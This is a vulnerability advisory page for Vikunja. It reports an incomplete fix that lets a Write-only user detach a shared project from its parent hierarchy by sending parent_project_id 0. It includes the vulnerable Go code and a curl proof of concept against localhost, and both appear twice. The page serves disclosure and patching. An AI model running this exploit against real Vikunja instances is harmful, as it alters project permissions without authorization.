GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-44V6-7FXQ-VGF4

Vulnerability from github – Published: 2026-08-28 16:39 – Updated: 2026-08-28 16:39
VLAI
Summary
Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0
Details

Summary

The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parent_project_id > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parent_project_id: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.

Affected component

  • Package: go-vikunja/vikunja
  • Affected versions: v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.
  • Tested on: Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)

Technical detail

Vulnerable code

File: pkg/models/project.go (lines 1009-1041)

// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE
// cascades Admin from any owned ancestor, so moving a shared child
// under an attacker-owned root grants Admin on the child. Require
// Admin on both sides of a reparent.
//
// Only gate on non-zero ParentProjectID: the generic update handler
// binds a fresh struct, so an omitted parent_project_id is
// indistinguishable from an explicit 0. Detach-to-root is therefore
// out of scope here -- a proper fix needs a pointer field.
if project.ParentProjectID > 0 {
    // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0
}

File: pkg/models/project_permissions.go (line 145)

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    // reparent permission check -- SKIPPED when ParentProjectID == 0
}

File: pkg/models/project.go (line 1065)

colsToUpdate := []string{
    "title", "is_archived", "identifier", "hex_color",
    "parent_project_id",  // <-- ALWAYS included, writes 0 to DB
    "position",
}

Why it's exploitable

  1. The generic web handler (pkg/web/handler/update.go:37) creates a fresh empty Project{} struct -- ParentProjectID defaults to Go's zero value (0).
  2. When JSON body contains "parent_project_id": 0, the struct has ParentProjectID == 0.
  3. CanUpdate at line 145: ParentProjectID != 0 is false -- reparent check skipped -- falls through to CanWrite which succeeds (attacker has Write).
  4. UpdateProject at line 1018: ParentProjectID > 0 is false -- Admin gate skipped entirely.
  5. xorm writes parent_project_id = 0 because "parent_project_id" is always in colsToUpdate with Cols().
  6. The project is detached from its parent hierarchy.

Precondition checklist

  • [x] Attacker has authenticated account
  • [x] Attacker has Write permission on a child project (via direct share or team membership)
  • [x] The target project has a non-zero parent_project_id (it's a child of another project)
  • [x] Default Vikunja configuration (no special setup needed)

Reproduction

Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.

  1. Authenticate as attacker:
TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token')
  1. Verify attacker does NOT have Admin (delete should return 403):
curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN"
# Expected: 403
  1. Exploit -- detach project from parent:
curl -s -X POST http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"title":"Sensitive Child Project","parent_project_id":0}'
  1. Verify detachment:
curl -s http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN" | jq '.parent_project_id'
# Returns: 0 (was: 3)

Evidence (3 independent runs)

Run parent_project_id BEFORE DELETE attempt (proves no Admin) parent_project_id AFTER Result
1 3 (child of project 3) HTTP 403 Forbidden null (detached to root) CONFIRMED
2 3 (child of project 3) HTTP 403 Forbidden null (detached to root) CONFIRMED
3 3 (child of project 3) HTTP 403 Forbidden null (detached to root) CONFIRMED

Note: "null (detached to root)" means parent_project_id was set to 0 in the database, making the project a root-level project with no parent.

Impact

  • Unauthorized hierarchy modification: A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).
  • Permission inheritance disruption: The recursive CTE permission model traverses parent_project_id upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.
  • Organizational disruption: The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.

Suggested fix

Use a pointer field *int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."

Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:39:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when `parent_project_id \u003e 0`. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending `parent_project_id: 0`, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.\n\n## Affected component\n\n- **Package:** go-vikunja/vikunja\n- **Affected versions:** v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.\n- **Tested on:** Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)\n\n## Technical detail\n\n### Vulnerable code\n\n**File: `pkg/models/project.go` (lines 1009-1041)**\n```go\n// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE\n// cascades Admin from any owned ancestor, so moving a shared child\n// under an attacker-owned root grants Admin on the child. Require\n// Admin on both sides of a reparent.\n//\n// Only gate on non-zero ParentProjectID: the generic update handler\n// binds a fresh struct, so an omitted parent_project_id is\n// indistinguishable from an explicit 0. Detach-to-root is therefore\n// out of scope here -- a proper fix needs a pointer field.\nif project.ParentProjectID \u003e 0 {\n    // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0\n}\n```\n\n**File: `pkg/models/project_permissions.go` (line 145)**\n```go\nif p.ParentProjectID != 0 \u0026\u0026 p.ParentProjectID != ol.ParentProjectID {\n    // reparent permission check -- SKIPPED when ParentProjectID == 0\n}\n```\n\n**File: `pkg/models/project.go` (line 1065)**\n```go\ncolsToUpdate := []string{\n    \"title\", \"is_archived\", \"identifier\", \"hex_color\",\n    \"parent_project_id\",  // \u003c-- ALWAYS included, writes 0 to DB\n    \"position\",\n}\n```\n\n### Why it\u0027s exploitable\n\n1. The generic web handler (`pkg/web/handler/update.go:37`) creates a fresh empty `Project{}` struct -- `ParentProjectID` defaults to Go\u0027s zero value (0).\n2. When JSON body contains `\"parent_project_id\": 0`, the struct has `ParentProjectID == 0`.\n3. `CanUpdate` at line 145: `ParentProjectID != 0` is false -- reparent check skipped -- falls through to `CanWrite` which succeeds (attacker has Write).\n4. `UpdateProject` at line 1018: `ParentProjectID \u003e 0` is false -- Admin gate skipped entirely.\n5. xorm writes `parent_project_id = 0` because `\"parent_project_id\"` is always in `colsToUpdate` with `Cols()`.\n6. The project is detached from its parent hierarchy.\n\n### Precondition checklist\n\n- [x] Attacker has authenticated account\n- [x] Attacker has Write permission on a child project (via direct share or team membership)\n- [x] The target project has a non-zero parent_project_id (it\u0027s a child of another project)\n- [x] Default Vikunja configuration (no special setup needed)\n\n### Reproduction\n\n**Prerequisites:** Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.\n\n1. Authenticate as attacker:\n```bash\nTOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"user_a\",\"password\":\"UserAPassword1!\"}\u0027 | jq -r \u0027.token\u0027)\n```\n\n2. Verify attacker does NOT have Admin (delete should return 403):\n```bash\ncurl -s -o /dev/null -w \u0027%{http_code}\u0027 -X DELETE http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 403\n```\n\n3. Exploit -- detach project from parent:\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"title\":\"Sensitive Child Project\",\"parent_project_id\":0}\u0027\n```\n\n4. Verify detachment:\n```bash\ncurl -s http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\" | jq \u0027.parent_project_id\u0027\n# Returns: 0 (was: 3)\n```\n\n### Evidence (3 independent runs)\n\n| Run | parent_project_id BEFORE | DELETE attempt (proves no Admin) | parent_project_id AFTER | Result |\n|-----|--------------------------|----------------------------------|-------------------------|--------|\n| 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n| 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n| 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n\n*Note: \"null (detached to root)\" means `parent_project_id` was set to `0` in the database, making the project a root-level project with no parent.*\n\n## Impact\n\n- **Unauthorized hierarchy modification:** A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).\n- **Permission inheritance disruption:** The recursive CTE permission model traverses `parent_project_id` upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.\n- **Organizational disruption:** The project moves from a structured hierarchy to a root-level project, breaking the owner\u0027s intended organizational structure.\n\n## Suggested fix\n\nUse a pointer field `*int64` for `ParentProjectID` to distinguish between \"field omitted\" (nil) and \"explicitly set to 0\" (detach). The fix commit itself acknowledges this at `project.go:1017`: \"a proper fix needs a pointer field.\"\n\nAlternatively, add a dedicated `detach` boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.",
  "id": "GHSA-44v6-7fxq-vgf4",
  "modified": "2026-08-28T16:39:08Z",
  "published": "2026-08-28T16:39:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…